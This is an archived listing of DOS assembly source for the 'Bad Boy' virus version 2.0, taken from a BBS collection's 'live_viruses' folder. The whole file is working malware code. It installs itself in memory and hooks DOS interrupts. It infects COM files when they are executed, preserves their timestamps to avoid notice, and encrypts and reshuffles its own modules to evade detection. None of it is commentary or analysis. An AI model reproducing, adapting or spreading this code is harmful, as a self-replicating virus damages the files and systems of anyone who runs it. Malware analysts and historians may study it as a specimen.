home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / badboy2.asm < prev    next >
Assembly Source File  |  1980-01-01  |  13KB  |  510 lines

  1.  
  2. code          segment
  3.           assume cs:code,ds:code
  4.           .radix 16
  5.           org  100
  6. start:
  7.           push word ptr cs:[table+2]
  8.           push cs
  9.           pop  ds
  10.           jmp  word ptr cs:[table]      ;go to module 1
  11.  
  12. curofs          dw   ?
  13. files          db   0               ;number of infected files from this copy
  14. fsize          dw   2               ;size of infected file
  15. ftime          dw     ?
  16. fdate          dw     ?
  17. stdint21      dd     ?
  18. oldint13      dd     ?
  19. oldint21      dd     ?
  20. oldint24      dd     ?
  21.  
  22. ;------------- TABLE WITH MODULE PARAMETERS --------------------
  23. table:
  24.           dw   offset false_mod_1 ;00
  25.           dw   offset mod_2       ;02
  26.           dw   offset mod_3       ;04
  27.           dw   offset mod_4       ;06           ;offset modules
  28.           dw   offset mod_5       ;08
  29.           dw   offset mod_6       ;0a
  30.           dw   offset mod_7       ;0c
  31.           dw   offset mod_8       ;0e
  32.  
  33.           dw   offset mod_2 - offset mod_1;10
  34.           dw   offset mod_3 - offset mod_2;12
  35.           dw   offset mod_4 - offset mod_3;14
  36.           dw   offset mod_5 - offset mod_4;16
  37.           dw   offset mod_6 - offset mod_5;18    ;size modules
  38.           dw   offset mod_7 - offset mod_6;1a
  39.           dw   offset mod_8 - offset mod_7;1c
  40.           dw   offset myend - offset mod_8;1e
  41.  
  42.  
  43. ;------------- MODULE - 1 - CODER/DECODER ----------------------
  44. mod_1:
  45.           mov  bx,offset table+2   ;first module to working (module 2)
  46.           mov  cx,6            ;number of modules to working
  47. mod_1_lp1:
  48.           cmp  bx,offset table+0a
  49.           jne  mod_1_cont
  50.           add  bx,2
  51. mod_1_cont:
  52.           push bx
  53.           push cx
  54.           mov  ax,[bx]           ;ax - offset module
  55.           mov  cx,[bx+10]           ;cx - size of module
  56.           mov  bx,ax
  57. mod_1_lp2:
  58.           xor  byte ptr [bx],al
  59.           inc  bx
  60.           loop mod_1_lp2
  61.           pop  cx
  62.           pop  bx
  63.           add  bx,2
  64.           loop mod_1_lp1
  65.           ret
  66.  
  67. ;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
  68. mod_2:
  69.              ;instalation check
  70.  
  71.           mov    es,cs:[2]                   ;memory size
  72.           mov    di,100
  73.           mov    si,100
  74.           mov    cx,0bh
  75.           repe   cmpsb
  76.           jne    mod_2_install               ;jump if not install
  77.           jmp    word ptr cs:[table+06]  ;if install, jump to module 4
  78.  
  79. mod_2_install:
  80.              ;instalation
  81.  
  82.           mov    ax,cs
  83.           dec    ax
  84.           mov    ds,ax
  85.  
  86.           cmp    byte ptr ds:[0],'Z'
  87.           je     mod_2_cont
  88.  
  89.           jmp    word ptr cs:[table+6]        ;if no last MCB - go to mod4
  90.  
  91. mod_2_cont:
  92.           sub    word ptr ds:[3],0c0
  93.           mov    ax,es
  94.           sub    ax,0c0
  95.           mov    es,ax
  96.           mov    word ptr ds:[12],ax       ;decrement memory size with 2K
  97.           push   cs
  98.           pop    ds
  99.  
  100. mod_2_mut:
  101.           mov  byte ptr cs:files,0
  102.  
  103.           mov  di,100
  104.           mov  cx,offset mod_1-100
  105.           mov  si,100
  106.           rep  movsb     ;write table to new memory
  107.  
  108.           mov  bx,word ptr cs:[table]
  109.           add  bx,offset mod_1_lp2-offset mod_1+1
  110.           xor  byte ptr [bx],18               ;change code method
  111.  
  112.           mov  cx,8
  113.           mov  word ptr curofs,offset mod_1
  114. mod_2_lp1:
  115.           push cx
  116.           call mod_2_rnd ;generate random module addres
  117.           push bx         ;addres in table returned from mod_2_rnd
  118.           mov  ax,[bx]   ;offset module
  119.           push ax
  120.           add  bx,10
  121.           mov  cx,[bx]   ;length of module
  122.           pop  si
  123.           pop  bx
  124.           xchg di,curofs
  125.           mov  word ptr es:[bx],di ;change module offset in table
  126.           rep  movsb           ;copy module to new memory
  127.           xchg di,curofs           ;change current offset in new memory
  128.           mov  ax,8000
  129.           or   word ptr [bx],ax    ;mark module - used
  130.           pop  cx
  131.           loop mod_2_lp1
  132.           mov  cl,8
  133.           not  ax
  134.           mov  bx,offset table
  135. mod_2_lp2:
  136.           and  word ptr [bx],ax    ;unmark all modules
  137.           add  bx,2
  138.           loop mod_2_lp2
  139.  
  140.           jmp  word ptr cs:[table+4]  ;go to module 3
  141.  
  142. mod_2_rnd:
  143.           push cx
  144.           push es
  145.           xor  cx,cx
  146.           mov  es,cx
  147. mod_2_lp3:
  148.           mov  bx,es:[46c]
  149.           db 81,0e3,07,00  ;and bx,7
  150.           shl  bx,1
  151.           add  bx,offset table
  152.           test [bx],8000
  153.           jnz  mod_2_lp3
  154.           pop  es
  155.           pop  cx
  156.           ret
  157.  
  158. ;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
  159. mod_3:
  160.           xor    ax,ax
  161.           mov    ds,ax
  162.  
  163.           mov    ax,ds:[4*21]
  164.           mov    word ptr es:[oldint21],ax
  165.           mov    ax,ds:[4*21+2]
  166.           mov    word ptr es:[oldint21+2],ax
  167.  
  168.           mov    ah,30
  169.           int    21
  170.           cmp    ax,1e03
  171.           jne    mod_3_getvec
  172.  
  173.           mov    word ptr es:[stdint21],1460
  174.           mov    ax,1203
  175.           push   ds
  176.           int    2f
  177.           mov    word ptr es:[stdint21+2],ds
  178.           pop    ds
  179.           jmp    mod_3_setvec
  180.  
  181. mod_3_getvec:
  182.           mov    ax,ds:[4*21]
  183.           mov    word ptr es:[stdint21],ax
  184.           mov    ax,ds:[4*21+2]
  185.           mov    word ptr es:[stdint21+2],ax
  186.  
  187. mod_3_setvec:
  188.           cli
  189.           mov    ax,word ptr es:[table+0c]
  190.           mov    ds:[4*21],ax
  191.           mov    ax,es
  192.           mov    ds:[4*21+2],ax
  193.           sti
  194.  
  195.           mov    cx,es
  196.           mov    ah,13             ;
  197.           int    2f              ;
  198.           push   es              ;
  199.           mov    es,cx             ;
  200.           mov    word ptr es:[oldint13],dx     ; get standart int13 addres
  201.           mov    word ptr es:[oldint13+2],ds ;
  202.           pop    es              ;
  203.           int    2f              ;
  204.  
  205.           jmp    word ptr cs:[table+06]              ;go to module 4
  206.  
  207. ;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
  208. mod_4:
  209.           push   cs
  210.           push   cs
  211.           pop    ds
  212.           pop    es
  213.           mov    si,word ptr cs:[table+06]
  214.           add    si,offset mod_4_cont - offset mod_4
  215.           mov    di,cs:fsize
  216.           add    di,offset myend+1
  217.           push   di
  218.           mov    cx,offset mod_5 - offset mod_4_cont
  219.           cld
  220.           rep    movsb
  221.           ret
  222. mod_4_cont:
  223.           mov    si,cs:fsize
  224.           add    si,100
  225.  
  226.           cmp    si,offset myend+1
  227.           jnc    mod_4_cnt
  228.           mov    si,offset myend+1
  229. mod_4_cnt:
  230.           mov    di,100
  231.           mov    cx,offset myend-100
  232.           rep    movsb
  233.           mov    ax,100   ;
  234.           push   ax       ; jmp 100
  235.           ret          ;
  236.  
  237. ;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
  238. mod_5:
  239.           xor    di,di
  240.           mov    ds,di
  241.           cli
  242.           mov    di,word ptr cs:[oldint21]
  243.           mov    ds:[4*21],di
  244.           mov    di,word ptr cs:[oldint21+2]
  245.           mov    ds:[4*21+2],di
  246.           sti
  247.  
  248.           ret
  249.  
  250.           db     'Make me better!'
  251. ;------------- MODULE - 6 - INT 24 HEADER -----------------------
  252. mod_6:
  253.           mov    al,3
  254.           iret
  255.           db     'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0
  256.  
  257. ;------------- MODULE - 7 - INT 21 HEADER -----------------------
  258. mod_7:
  259.           push   bx
  260.           push   si
  261.           push   di
  262.           push   es
  263.           push   ax
  264.  
  265.           cmp    ax,4b00
  266.           je     mod_7_begin
  267.           jmp    mod_7_exit
  268. mod_7_begin:
  269.           push   ds
  270.           push   cs                    ;
  271.           pop    es                    ;
  272.           xor    ax,ax                   ;
  273.           mov    ds,ax                   ;
  274.           mov    si,4*24                   ;
  275.           mov    di,offset oldint24            ;
  276.           movsw                       ;   change int24 vector
  277.           movsw                       ;
  278.           mov    ax,word ptr cs:[table+0a]           ;
  279.           cli                       ;
  280.           mov    ds:[4*24],ax               ;
  281.           mov    ax,cs                   ;
  282.           mov    ds:[4*24+2],ax               ;
  283.           sti
  284.           pop    ds
  285.  
  286.           mov    ax,3d00                   ;
  287.           pushf                       ;
  288.           call   cs:oldint21               ;
  289.           jc     mod_7_ex                   ; open,infect,close file
  290.           mov    bx,ax                   ;
  291. mod_7_infect:                           ;
  292.           call   word ptr cs:[table+0e]           ;
  293.           pushf
  294.           mov    ah,3e                   ;
  295.           pushf                       ;
  296.           call   cs:oldint21               ;
  297.           popf
  298.           jc     mod_7_ex
  299.  
  300.           push   ds              ;
  301.           cli                 ;
  302.           xor    ax,ax             ;
  303.           mov    ds,ax             ;
  304.           mov    ax,word ptr cs:[oldint13]     ;
  305.           xchg   ax,word ptr ds:[4*13]     ;
  306.           mov    word ptr cs:[oldint13],ax     ; exchange int13 vectors
  307.           mov    ax,word ptr cs:[oldint13+2] ;
  308.           xchg   ax,word ptr ds:[4*13+2]     ;
  309.           mov    word ptr cs:[oldint13+2],ax ;
  310.           sti                 ;
  311.           pop    ds              ;
  312. mod_7_ex:
  313.           push   ds                    ;
  314.           xor    ax,ax                   ;
  315.           mov    ds,ax                   ;
  316.           mov    ax,word ptr cs:oldint24           ;
  317.           mov    ds:[4*24],ax               ;
  318.           mov    ax,word ptr cs:oldint24+2           ; restore int24 vector
  319.           mov    ds:[4*24+2],ax               ;
  320.           pop    ds                    ;
  321.  
  322. mod_7_exit:
  323.           pop    ax
  324.           pop    es
  325.           pop    di
  326.           pop    si
  327.           pop    bx
  328.  
  329.           jmp    cs:oldint21
  330.  
  331. ;------------- MODULE - 8 - INFECTING (bx - file handle) --------
  332. mod_8:
  333.           push   cx
  334.           push   dx
  335.           push   ds
  336.           push   es
  337.           push   di
  338.           push   bp
  339.  
  340.           push   bx
  341.           mov    ax,1220
  342.           int    2f
  343.           mov    bl,es:[di]
  344.           xor    bh,bh
  345.           mov    ax,1216
  346.           int    2f
  347.           pop    bx
  348.  
  349.           mov    ax,word ptr es:[di+11]
  350.           cmp    ax,0f000
  351.           jc     mod_8_c
  352.           jmp    mod_8_exit
  353.  
  354. mod_8_c:
  355.           mov    word ptr es:[di+2],2           ;open mode - R/W
  356.  
  357.           mov    ax,es:[di+11]
  358.           mov    cs:fsize,ax           ; save file size
  359.  
  360.           mov    ax,word ptr es:[di+0dh]   ;
  361.           mov    word ptr cs:[ftime],ax    ; save file date/time
  362.           mov    ax,word ptr es:[di+0f]    ;
  363.           mov    word ptr cs:[fdate],ax    ;
  364.  
  365.           push   cs              ;
  366.           pop    ds              ;
  367.           mov    dx,offset myend+1         ;
  368.           mov    cx,offset myend-100     ; read first bytes
  369.           mov    ah,3f             ;
  370.           pushf
  371.           call   cs:oldint21
  372.           jnc    mod_8_cnt
  373.           jmp    mod_8_exit
  374.  
  375. mod_8_cnt:
  376.           mov    bp,ax             ; ax - bytes read
  377.           mov    si,dx
  378.           mov    ax,'MZ'
  379.           cmp    ax,word ptr ds:[si]
  380.           jne    mod_8_nxtchk
  381.           jmp    mod_8_exit
  382. mod_8_nxtchk:
  383.           xchg   ah,al
  384.           cmp    ax,ds:[si]
  385.           jne    mod_8_cnt2
  386.           jmp    mod_8_exit
  387.  
  388. mod_8_cnt2:
  389.           push   es
  390.           push   di
  391.           push   cs              ;
  392.           pop    es              ;
  393.           mov    si,100             ;
  394.           mov    di,dx             ; check for infected file
  395.           mov    cx,0bh             ;
  396.           repe   cmpsb             ;
  397.           pop    di
  398.           pop    es
  399.           jne    mod_8_cnt1          ;
  400.           jmp    mod_8_exit
  401. mod_8_cnt1:
  402.           mov    word ptr es:[di+15],0     ; fp:=0
  403.  
  404.           push   es
  405.           push   di
  406.           mov    si,word ptr cs:[table+0e]
  407.           add    si,offset mod_8_cont - offset mod_8
  408.           xor    di,di
  409.           push   cs
  410.           pop    es
  411.           mov    cx,offset mod_8_cont_end - offset mod_8_cont
  412.           cld
  413.           rep    movsb
  414.           pop    di
  415.           pop    es
  416.  
  417.           mov    si,word ptr cs:[table+0e]
  418.           add    si,offset mod_8_cont_end - offset mod_8
  419.           push   si
  420.           xor    si,si
  421.           push   si
  422.  
  423.           push   ds              ;
  424.           cli                 ;
  425.           xor    ax,ax             ;
  426.           mov    ds,ax             ;
  427.           mov    ax,word ptr cs:[oldint13]     ;
  428.           xchg   ax,word ptr ds:[4*13]     ;
  429.           mov    word ptr cs:[oldint13],ax     ;
  430.           mov    ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
  431.           xchg   ax,word ptr ds:[4*13+2]     ;
  432.           mov    word ptr cs:[oldint13+2],ax ;
  433.           sti                 ;
  434.           pop    ds              ;
  435.  
  436.           ret
  437.  
  438. mod_8_cont:
  439.           push   bx
  440.           call   word ptr cs:[table]     ; code virus
  441.           pop    bx
  442.  
  443.           mov    dx,100             ;
  444.           mov    ah,40             ; write code in begin
  445.           mov    cx,offset myend-0ff
  446.           pushf                 ;
  447.           call   cs:stdint21         ;
  448.  
  449.           pushf
  450.           push   bx
  451.           call   word ptr cs:[table]     ; decode virus
  452.           pop    bx
  453.           popf
  454.           jnc    mod_8_cont1
  455.           pop    ax
  456.           mov    ax,word ptr cs:[table+0e]
  457.           add    ax,offset mod_8_ext - offset mod_8
  458.           push   ax
  459.           ret
  460. mod_8_cont1:
  461.           mov    ax,es:[di+11]         ; fp:=end of file
  462.           mov    word ptr es:[di+15],ax     ;
  463.  
  464.           mov    dx,offset myend+1
  465.           mov    cx,bp             ; bp - files read
  466.           mov    ah,40             ;
  467.           pushf                 ;
  468.           call   cs:stdint21         ; write in end of file
  469.  
  470.           ret
  471.  
  472. mod_8_cont_end:
  473.           mov    ax,5701     ;
  474.           mov    cx,cs:ftime ;
  475.           mov    dx,cs:fdate ; restore file date/time
  476.           pushf         ;
  477.           call   cs:oldint21 ;
  478.  
  479.           inc    cs:files
  480.           cmp    cs:files,0a
  481.           jne    mod_8_ext
  482.           call   word ptr cs:[table+8]
  483.           jmp    short mod_8_ext
  484. mod_8_exit:
  485.           stc
  486.           jmp    short mod_8_ex
  487. mod_8_ext:
  488.           clc
  489. mod_8_ex:
  490.           pop    bp
  491.           pop    di
  492.           pop    es
  493.           pop    ds
  494.           pop    dx
  495.           pop    cx
  496.           ret
  497.  
  498. ;---------------------------------------------------------------
  499.  
  500. myend          db   0
  501.  
  502.           int    20            ;code of infected file
  503.  
  504. false_mod_1:
  505.           mov     word ptr cs:[table],offset mod_1
  506.           ret
  507.  
  508. code          ends
  509.           end  start
  510.